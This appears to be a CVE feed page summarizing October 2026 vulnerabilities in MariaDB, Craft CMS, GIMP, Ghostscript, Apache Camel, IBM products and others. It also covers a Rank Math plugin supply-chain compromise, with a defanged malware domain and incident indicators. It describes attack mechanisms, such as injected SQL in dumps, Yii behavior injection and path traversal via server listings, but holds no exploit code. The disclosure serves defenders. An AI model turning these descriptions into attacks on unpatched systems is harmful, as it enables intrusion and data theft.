MariaDB server is a community developed fork of MySQL server. (Oct 16, 2026).
MariaDB server is a community developed fork of MySQL server. From 10.6.1 until 10.6.28, 10.11.19, 11.4.13, 11.8.9, 12.3.3, and 13.0.2, SHOW CREATE SERVER, SHOW CREATE USER, and mariadb-dump are affected because each does not consistently quote identifiers and values when serializing SQL. A low-privileged attacker can trigger the issue when an attacker-created object with crafted identifiers or values is included in SHOW output or a dump, then create an object with crafted identifiers or values so generated SQL contains injected statements and execute attacker-injected SQL when the poisoned output is applied. This issue is fixed in versions 10.6.28, 10.11.19, 11.4.13, 11.8.9, 12.3.3, and 13.0.2.
CVSS 7.7 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-86047).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-86047&date=2026-10-25).
Sources:
NVD CVE-2026-86047: https://nvd.nist.gov/vuln/detail/CVE-2026-86047
Vendor advisory (via NVD references): https://github.com/MariaDB/server/security/advisories/GHSA-wxr3-wm3p-7w6p
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-86047&date=2026-10-25
MariaDB server is a community developed fork of MySQL server. From 10.6.1 until 10.6.28, 10.11.19, 11.4.13, 11.8.9, 12.3.3, and 13.0.2, SHOW CREATE SERVER, SHOW CREATE USER, and mariadb-dump are affected because each does not consistently quote identifiers and values when serializing SQL. A low-privileged attacker can trigger the issue when an attacker-created object with crafted identifiers or values is included in SHOW output or a dump, then create an object with crafted identifiers or values so generated SQL contains injected statements and execute attacker-injected SQL when the poisoned output is applied. This issue is fixed in versions 10.6.28, 10.11.19, 11.4.13, 11.8.9, 12.3.3, and 13.0.2.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### MariaDB server is a community developed fork of MySQL server.
https://kevwire.com/record/CVE-2026-97380
MariaDB server is a community developed fork of MySQL server. (Oct 16, 2026).
MariaDB server is a community developed fork of MySQL server. From 10.6.1 until 10.6.28, 10.11.19, 11.4.13, 11.8.9, 12.3.3, and 13.0.2, the GRANT PROXY statement treats an IDENTIFIED clause with an empty password as though authentication were not specified, causing it to check the wrong grantor privileges. A low-privileged attacker who can name another account can exploit this authorization error to set that account's password. This issue is fixed in versions 10.6.28, 10.11.19, 11.4.13, 11.8.9, 12.3.3, and 13.0.2.
CVSS 8.8 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-97380).
EPSS 0.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-97380&date=2026-10-25).
Sources:
NVD CVE-2026-97380: https://nvd.nist.gov/vuln/detail/CVE-2026-97380
Vendor advisory (via NVD references): https://github.com/MariaDB/server/security/advisories/GHSA-625w-4hgq-qwmr
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-97380&date=2026-10-25
MariaDB server is a community developed fork of MySQL server. From 10.6.1 until 10.6.28, 10.11.19, 11.4.13, 11.8.9, 12.3.3, and 13.0.2, the GRANT PROXY statement treats an IDENTIFIED clause with an empty password as though authentication were not specified, causing it to check the wrong grantor privileges. A low-privileged attacker who can name another account can exploit this authorization error to set that account's password. This issue is fixed in versions 10.6.28, 10.11.19, 11.4.13, 11.8.9, 12.3.3, and 13.0.2.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Grav API plugin (grav-plugin-api) 1.0.40 before 1.0.42 caches a full translation dictionary for every well-formed language code sent to the unauthenticated GET...
https://kevwire.com/record/CVE-2026-112779
Grav API plugin (grav-plugin-api) 1.0.40 before 1.0.42 caches a full translation dictionary for every well-formed language code sent to the unauthenticated GET... (Oct 19, 2026).
Grav API plugin (grav-plugin-api) 1.0.40 before 1.0.42 caches a full translation dictionary for every well-formed language code sent to the unauthenticated GET /api/v1/translations/{lang} endpoint, and 1.0.16 before 1.0.42 fails to check target and destination page rules in the sync and batch copy endpoints. Unauthenticated attackers can send small requests that each store about 560 KB to exhaust disk or APCu, while accounts with api.pages.write can overwrite translations or create pages that page-level rules deny.
CVSS 9.3 (version 4.0; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112779).
EPSS 0.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112779&date=2026-10-25).
Sources:
NVD CVE-2026-112779: https://nvd.nist.gov/vuln/detail/CVE-2026-112779
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112779&date=2026-10-25
Grav API plugin (grav-plugin-api) 1.0.40 before 1.0.42 caches a full translation dictionary for every well-formed language code sent to the unauthenticated GET /api/v1/translations/{lang} endpoint, and 1.0.16 before 1.0.42 fails to check target and destination page rules in the sync and batch copy endpoints. Unauthenticated attackers can send small requests that each store about 560 KB to exhaust disk or APCu, while accounts with api.pages.write can overwrite translations or create pages that page-level rules deny.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Craft CMS from 5.8.0 before 5.11.0 contains a remote code execution vulnerability that allows authenticated administrators to inject Yii behaviors by supplying a JSON-string field...
https://kevwire.com/record/CVE-2026-112774
Craft CMS from 5.8.0 before 5.11.0 contains a remote code execution vulnerability that allows authenticated administrators to inject Yii behaviors by supplying a JSON-string field... (Oct 19, 2026).
Craft CMS from 5.8.0 before 5.11.0 contains a remote code execution vulnerability that allows authenticated administrators to inject Yii behaviors by supplying a JSON-string field layout to ContentBlock::setFieldLayout(). Attackers with allowAdminChanges enabled can include 'as X' or 'on X' keys that bypass cleanseConfig() to execute OS commands as the web user and disclose secrets.
CVSS 8.7 (version 4.0; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112774).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112774&date=2026-10-25).
Sources:
NVD CVE-2026-112774: https://nvd.nist.gov/vuln/detail/CVE-2026-112774
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112774&date=2026-10-25
Craft CMS from 5.8.0 before 5.11.0 contains a remote code execution vulnerability that allows authenticated administrators to inject Yii behaviors by supplying a JSON-string field layout to ContentBlock::setFieldLayout(). Attackers with allowAdminChanges enabled can include 'as X' or 'on X' keys that bypass cleanseConfig() to execute OS commands as the web user and disclose secrets.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A flaw was found in GIMP. The PSD thumbnail resource loader performs a BGR-to-RGB channel swap with a fixed 3-byte stride and does not verify that the JPEG thumbnail is RGB.
https://kevwire.com/record/CVE-2026-112257
A flaw was found in GIMP. The PSD thumbnail resource loader performs a BGR-to-RGB channel swap with a fixed 3-byte stride and does not verify that the JPEG thumbnail is RGB. (Oct 19, 2026).
A flaw was found in GIMP. The PSD thumbnail resource loader performs a BGR-to-RGB channel swap with a fixed 3-byte stride and does not verify that the JPEG thumbnail is RGB. A crafted grayscale PSD thumbnail can cause a heap out-of-bounds read and write in the plug-in process, leading to a crash and potentially arbitrary code execution when the victim browses or opens the file.
CVSS 7.8 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112257).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112257&date=2026-10-25).
Sources:
NVD CVE-2026-112257: https://nvd.nist.gov/vuln/detail/CVE-2026-112257
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112257&date=2026-10-25
A flaw was found in GIMP. The PSD thumbnail resource loader performs a BGR-to-RGB channel swap with a fixed 3-byte stride and does not verify that the JPEG thumbnail is RGB. A crafted grayscale PSD thumbnail can cause a heap out-of-bounds read and write in the plug-in process, leading to a crash and potentially arbitrary code execution when the victim browses or opens the file.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Rank Math SEO PRO for WordPress is affected by a supply-chain compromise in a subset of version 3.0.123 packages downloaded or updated between October 15, 2026 at 20:02 UTC and...
https://kevwire.com/record/CVE-2026-111862
Rank Math SEO PRO for WordPress is affected by a supply-chain compromise in a subset of version 3.0.123 packages downloaded or updated between October 15, 2026 at 20:02 UTC and... (Oct 19, 2026).
Rank Math SEO PRO for WordPress is affected by a supply-chain compromise in a subset of version 3.0.123 packages downloaded or updated between October 15, 2026 at 20:02 UTC and October 16, 2026 at 07:12 UTC. Rank Math states that the affected plugin files contained malware that could compromise a website if the plugin was activated and directs sites that activated an affected package to treat the website as compromised. The malware may establish persistent access, communicate with rank1cdn[.]com, recreate hidden backdoors on page visits, and expose WordPress credentials, database credentials, API keys, and other secrets accessible to the web server. Rank Math identifies three malicious wp_options keys, hidden PHP backdoors, unauthorized administrator accounts, a fake WordPress core file, PHP-executable .cache files, and a system cron marker as incident indicators. Only packages obtained during the vendor-confirmed window are claimed as affected; version 3.0.123 alone is not sufficient to establish compromise. Rank Math removed the affected files and released version 3.0.124 as the clean replacement.
CVSS 9.8 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111862).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111862&date=2026-10-25).
Sources:
NVD CVE-2026-111862: https://nvd.nist.gov/vuln/detail/CVE-2026-111862
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111862&date=2026-10-25
Rank Math SEO PRO for WordPress is affected by a supply-chain compromise in a subset of version 3.0.123 packages downloaded or updated between October 15, 2026 at 20:02 UTC and October 16, 2026 at 07:12 UTC. Rank Math states that the affected plugin files contained malware that could compromise a website if the plugin was activated and directs sites that activated an affected package to treat the website as compromised. The malware may establish persistent access, communicate with rank1cdn[.]com, recreate hidden backdoors on page visits, and expose WordPress credentials, database credentials, API keys, and other secrets accessible to the web server. Rank Math identifies three malicious wp_options keys, hidden PHP backdoors, unauthorized administrator accounts, a fake WordPress core file, PHP-executable .cache files, and a system cron marker as incident indicators. Only packages obtained during the vendor-confirmed window are claimed as affected; version 3.0.123 alone is not sufficient to establish compromise. Rank Math removed the affected files and released version 3.0.124 as the clean replacement.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### IBM Verify Identity Access 11.0.3.1 and IBM Security Verify Access 10.0.9.3 Appliance could allow a physically proximate attacker to gain elevated privileges due to the use of...
https://kevwire.com/record/CVE-2026-109126
IBM Verify Identity Access 11.0.3.1 and IBM Security Verify Access 10.0.9.3 Appliance could allow a physically proximate attacker to gain elevated privileges due to the use of... (Oct 20, 2026).
IBM Verify Identity Access 11.0.3.1 and IBM Security Verify Access 10.0.9.3 Appliance could allow a physically proximate attacker to gain elevated privileges due to the use of hard-coded credentials.
CVSS 8.8 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109126).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109126&date=2026-10-25).
Sources:
NVD CVE-2026-109126: https://nvd.nist.gov/vuln/detail/CVE-2026-109126
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109126&date=2026-10-25
IBM Verify Identity Access 11.0.3.1 and IBM Security Verify Access 10.0.9.3 Appliance could allow a physically proximate attacker to gain elevated privileges due to the use of hard-coded credentials.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### IBM TRIRIGA Application Platform 5.0.0 through 5.0.8 could allow a remote authenticated attacker to execute arbitrary code due to improper authentication.
https://kevwire.com/record/CVE-2026-107400
IBM TRIRIGA Application Platform 5.0.0 through 5.0.8 could allow a remote authenticated attacker to execute arbitrary code due to improper authentication. (Oct 20, 2026).
IBM TRIRIGA Application Platform 5.0.0 through 5.0.8 could allow a remote authenticated attacker to execute arbitrary code due to improper authentication.
CVSS 8.8 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-107400).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-107400&date=2026-10-25).
Sources:
NVD CVE-2026-107400: https://nvd.nist.gov/vuln/detail/CVE-2026-107400
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-107400&date=2026-10-25
IBM TRIRIGA Application Platform 5.0.0 through 5.0.8 could allow a remote authenticated attacker to execute arbitrary code due to improper authentication.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A flaw was found in Ghostscript as shipped with Red Hat Enterprise Linux 8. The correction for CVE-2019-14869 was omitted during the rebase from version 9.25 to 9.27, leaving...
https://kevwire.com/record/CVE-2026-112177
A flaw was found in Ghostscript as shipped with Red Hat Enterprise Linux 8. The correction for CVE-2019-14869 was omitted during the rebase from version 9.25 to 9.27, leaving... (Oct 20, 2026).
A flaw was found in Ghostscript as shipped with Red Hat Enterprise Linux 8. The correction for CVE-2019-14869 was omitted during the rebase from version 9.25 to 9.27, leaving privileged .forceput operations in the .charkeys procedure insufficiently protected. Processing a specially crafted PostScript file may allow an attacker to bypass -dSAFER restrictions and access files outside the permitted paths or execute commands with the permissions of the Ghostscript process.
CVSS 7.3 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112177).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112177&date=2026-10-25).
Sources:
NVD CVE-2026-112177: https://nvd.nist.gov/vuln/detail/CVE-2026-112177
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112177&date=2026-10-25
A flaw was found in Ghostscript as shipped with Red Hat Enterprise Linux 8. The correction for CVE-2019-14869 was omitted during the rebase from version 9.25 to 9.27, leaving privileged .forceput operations in the .charkeys procedure insufficiently protected. Processing a specially crafted PostScript file may allow an attacker to bypass -dSAFER restrictions and access files outside the permitted paths or execute commands with the permissions of the Ghostscript process.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Dell Alienware Command Center (AWCC), versions prior to 6.14.54.0, contain a Least Privilege Violation vulnerability.
https://kevwire.com/record/CVE-2026-81452
Dell Alienware Command Center (AWCC), versions prior to 6.14.54.0, contain a Least Privilege Violation vulnerability. (Oct 16, 2026).
Dell Alienware Command Center (AWCC), versions prior to 6.14.54.0, contain a Least Privilege Violation vulnerability. A low privileged attacker with local access could potentially exploit this vulnerability, leading to Elevation of Privilege and Denial of Service.
CVSS 7.0 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-81452).
EPSS <0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-81452&date=2026-10-25).
Sources:
NVD CVE-2026-81452: https://nvd.nist.gov/vuln/detail/CVE-2026-81452
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-81452&date=2026-10-25
Dell Alienware Command Center (AWCC), versions prior to 6.14.54.0, contain a Least Privilege Violation vulnerability. A low privileged attacker with local access could potentially exploit this vulnerability, leading to Elevation of Privilege and Denial of Service.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in Apache Camel SMB component.
https://kevwire.com/record/CVE-2026-79985
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in Apache Camel SMB component. (Oct 19, 2026).
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in Apache Camel SMB component.



This issue affects Apache Camel: from 4.2.0 before 4.18.5, from 4.19.0 before 4.22.1.



The Camel remote-file consumers poll a directory on a remote server and build the absolute remote path of each file by concatenating the configured directory with the file name reported in the server's directory listing. That concatenation (FtpUtils.absoluteFilePath and GenericFileConsumer) applied no lexical normalization and no check that the result stayed inside the directory being polled, and the resulting path became the operand for every subsequent remote operation on the file: retrieval (FtpOperations.retrieveFile / SftpOperations, reached from GenericFileConsumer where the retrieve name is taken verbatim from GenericFile.getAbsoluteFilePath), deletion when delete=true (GenericFileDeleteProcessStrategy), and renaming when move, preMove, moveFailed or readLock=rename is configured (GenericFileProcessStrategySupport and GenericFileRenameExclusiveReadLockStrategy). Neither isValidFile nor isMatched performed any containment check. A listing entry that is not a single path segment therefore resolved to a path outside the configured polling directory, causing Camel to read, delete or rename files outside it using the endpoint's own credentials. A listing name is not route-controlled data. It is supplied by the remote server, and the FTP control channel carries no integrity protection at all, so an on-path attacker can rewrite a LIST response without holding any credentials; a compromised, malicious or multi-tenant server, or a server backed by a virtual filesystem, can emit such a name directly. Retrieval is reachable in a default consumer configuration, since the remote consumers download every listed file; deletion and renaming additionally require one of the disposition options above, all of which are common. Escape from the directory Camel was configured to poll is unconditional, while escape from the server's own account boundary additionally depends on whether that server confines the account. The jailStartingDirectory option, which is docume
CVSS 7.4 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-79985).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-79985&date=2026-10-25).
Sources:
NVD CVE-2026-79985: https://nvd.nist.gov/vuln/detail/CVE-2026-79985
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-79985&date=2026-10-25
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in Apache Camel SMB component.



This issue affects Apache Camel: from 4.2.0 before 4.18.5, from 4.19.0 before 4.22.1.



The Camel remote-file consumers poll a directory on a remote server and build the absolute remote path of each file by concatenating the configured directory with the file name reported in the server's directory listing. That concatenation (FtpUtils.absoluteFilePath and GenericFileConsumer) applied no lexical normalization and no check that the result stayed inside the directory being polled, and the resulting path became the operand for every subsequent remote operation on the file: retrieval (FtpOperations.retrieveFile / SftpOperations, reached from GenericFileConsumer where the retrieve name is taken verbatim from GenericFile.getAbsoluteFilePath), deletion when delete=true (GenericFileDeleteProcessStrategy), and renaming when move, preMove, moveFailed or readLock=rename is configured (GenericFileProcessStrategySupport and GenericFileRenameExclusiveReadLockStrategy). Neither isValidFile nor isMatched performed any containment check. A listing entry that is not a single path segment therefore resolved to a path outside the configured polling directory, causing Camel to read, delete or rename files outside it using the endpoint's own credentials. A listing name is not route-controlled data. It is supplied by the remote server, and the FTP control channel carries no integrity protection at all, so an on-path attacker can rewrite a LIST response without holding any credentials; a compromised, malicious or multi-tenant server, or a server backed by a virtual filesystem, can emit such a name directly. Retrieval is reachable in a default consumer configuration, since the remote consumers download every listed file; deletion and renaming additionally require one of the disposition options above, all of which are common. Escape from the directory Camel was configured to poll is unconditional, while escape from the server's own account boundary additionally depends on whether that server confines the account. The jailStartingDirectory option, which is documented as restricting Camel to the starting directory and is enabled by default, governed producer writes and, since the localWorkDirectory containment work, consumer downloads to the local work directory - but it did not constrain this remote operand, so its name and description claimed a boundary that was not enforced here. The same entry point had already been recognised on the local side: the localWorkDirectory download path was constrained so that a remote file name containing parent-directory segments could not resolve outside the local work directory. The remote operand was the remaining half of that surface. This artifact provides the smb scheme. Its consumer walks the share listing on its own rather than through RemoteFileConsumer, skipping only the exact "." and ".." entries, so a name carrying traversal segments in any other form was concatenated unchecked. Reaching it requires a server that emits a listing name which is not a single path segment, which a conforming SMB2 implementation does not do; the exposure was corrected on the same basis as the other remote-file consumers rather than from a demonstrated proof of concept against this scheme.



Upgrade to Apache Camel 4.23.0, which fixes the issue. Users on the 4.22.x releases stream should upgrade to 4.22.1. Users on the 4.18.x LTS releases stream should upgrade to 4.18.5. The 4.14.x stream reached end of life and does not receive this fix; users on it should move to a supported releases stream.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in Apache Camel Mina SFTP component.
https://kevwire.com/record/CVE-2026-79984
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in Apache Camel Mina SFTP component. (Oct 19, 2026).
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in Apache Camel Mina SFTP component.



This issue affects Apache Camel: from 4.18.0 before 4.18.5, from 4.19.0 before 4.22.1.



The Camel remote-file consumers poll a directory on a remote server and build the absolute remote path of each file by concatenating the configured directory with the file name reported in the server's directory listing. That concatenation (FtpUtils.absoluteFilePath and GenericFileConsumer) applied no lexical normalization and no check that the result stayed inside the directory being polled, and the resulting path became the operand for every subsequent remote operation on the file: retrieval (FtpOperations.retrieveFile / SftpOperations, reached from GenericFileConsumer where the retrieve name is taken verbatim from GenericFile.getAbsoluteFilePath), deletion when delete=true (GenericFileDeleteProcessStrategy), and renaming when move, preMove, moveFailed or readLock=rename is configured (GenericFileProcessStrategySupport and GenericFileRenameExclusiveReadLockStrategy). Neither isValidFile nor isMatched performed any containment check. A listing entry that is not a single path segment therefore resolved to a path outside the configured polling directory, causing Camel to read, delete or rename files outside it using the endpoint's own credentials. A listing name is not route-controlled data. It is supplied by the remote server, and the FTP control channel carries no integrity protection at all, so an on-path attacker can rewrite a LIST response without holding any credentials; a compromised, malicious or multi-tenant server, or a server backed by a virtual filesystem, can emit such a name directly. Retrieval is reachable in a default consumer configuration, since the remote consumers download every listed file; deletion and renaming additionally require one of the disposition options above, all of which are common. Escape from the directory Camel was configured to poll is unconditional, while escape from the server's own account boundary additionally depends on whether that server confines the account. The jailStartingDirectory option, which is
CVSS 7.4 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-79984).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-79984&date=2026-10-25).
Sources:
NVD CVE-2026-79984: https://nvd.nist.gov/vuln/detail/CVE-2026-79984
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-79984&date=2026-10-25
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in Apache Camel Mina SFTP component.



This issue affects Apache Camel: from 4.18.0 before 4.18.5, from 4.19.0 before 4.22.1.



The Camel remote-file consumers poll a directory on a remote server and build the absolute remote path of each file by concatenating the configured directory with the file name reported in the server's directory listing. That concatenation (FtpUtils.absoluteFilePath and GenericFileConsumer) applied no lexical normalization and no check that the result stayed inside the directory being polled, and the resulting path became the operand for every subsequent remote operation on the file: retrieval (FtpOperations.retrieveFile / SftpOperations, reached from GenericFileConsumer where the retrieve name is taken verbatim from GenericFile.getAbsoluteFilePath), deletion when delete=true (GenericFileDeleteProcessStrategy), and renaming when move, preMove, moveFailed or readLock=rename is configured (GenericFileProcessStrategySupport and GenericFileRenameExclusiveReadLockStrategy). Neither isValidFile nor isMatched performed any containment check. A listing entry that is not a single path segment therefore resolved to a path outside the configured polling directory, causing Camel to read, delete or rename files outside it using the endpoint's own credentials. A listing name is not route-controlled data. It is supplied by the remote server, and the FTP control channel carries no integrity protection at all, so an on-path attacker can rewrite a LIST response without holding any credentials; a compromised, malicious or multi-tenant server, or a server backed by a virtual filesystem, can emit such a name directly. Retrieval is reachable in a default consumer configuration, since the remote consumers download every listed file; deletion and renaming additionally require one of the disposition options above, all of which are common. Escape from the directory Camel was configured to poll is unconditional, while escape from the server's own account boundary additionally depends on whether that server confines the account. The jailStartingDirectory option, which is documented as restricting Camel to the starting directory and is enabled by default, governed producer writes and, since the localWorkDirectory containment work, consumer downloads to the local work directory - but it did not constrain this remote operand, so its name and description claimed a boundary that was not enforced here. The same entry point had already been recognised on the local side: the localWorkDirectory download path was constrained so that a remote file name containing parent-directory segments could not resolve outside the local work directory. The remote operand was the remaining half of that surface. This artifact provides the mina-sftp scheme, an alternative SFTP implementation whose consumer derives from the same RemoteFileConsumer base class and therefore inherited the same unconstrained resolution.



Upgrade to Apache Camel 4.23.0, which fixes the issue. Users on the 4.22.x releases stream should upgrade to 4.22.1. Users on the 4.18.x LTS releases stream should upgrade to 4.18.5. The 4.14.x stream reached end of life and does not receive this fix; users on it should move to a supported releases stream.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in Apache Camel FTP component.
https://kevwire.com/record/CVE-2026-79983
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in Apache Camel FTP component. (Oct 19, 2026).
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in Apache Camel FTP component.



This issue affects Apache Camel: from 4.0.0 before 4.18.5, from 4.19.0 before 4.22.1.



The Camel remote-file consumers poll a directory on a remote server and build the absolute remote path of each file by concatenating the configured directory with the file name reported in the server's directory listing. That concatenation (FtpUtils.absoluteFilePath and GenericFileConsumer) applied no lexical normalization and no check that the result stayed inside the directory being polled, and the resulting path became the operand for every subsequent remote operation on the file: retrieval (FtpOperations.retrieveFile / SftpOperations, reached from GenericFileConsumer where the retrieve name is taken verbatim from GenericFile.getAbsoluteFilePath), deletion when delete=true (GenericFileDeleteProcessStrategy), and renaming when move, preMove, moveFailed or readLock=rename is configured (GenericFileProcessStrategySupport and GenericFileRenameExclusiveReadLockStrategy). Neither isValidFile nor isMatched performed any containment check. A listing entry that is not a single path segment therefore resolved to a path outside the configured polling directory, causing Camel to read, delete or rename files outside it using the endpoint's own credentials. A listing name is not route-controlled data. It is supplied by the remote server, and the FTP control channel carries no integrity protection at all, so an on-path attacker can rewrite a LIST response without holding any credentials; a compromised, malicious or multi-tenant server, or a server backed by a virtual filesystem, can emit such a name directly. Retrieval is reachable in a default consumer configuration, since the remote consumers download every listed file; deletion and renaming additionally require one of the disposition options above, all of which are common. Escape from the directory Camel was configured to poll is unconditional, while escape from the server's own account boundary additionally depends on whether that server confines the account. The jailStartingDirectory option, which is docume
CVSS 7.4 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-79983).
